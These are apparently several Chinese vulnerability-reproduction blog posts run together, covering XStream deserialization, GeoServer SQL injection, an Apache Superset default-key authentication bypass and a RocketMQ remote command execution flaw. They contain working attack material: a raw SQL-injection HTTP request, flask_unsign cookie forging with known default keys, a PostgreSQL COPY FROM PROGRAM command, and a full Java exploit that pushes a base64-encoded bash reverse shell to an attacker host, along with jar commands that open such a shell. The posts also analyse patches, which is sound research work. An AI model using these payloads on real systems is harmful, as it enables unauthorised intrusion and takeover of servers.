com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。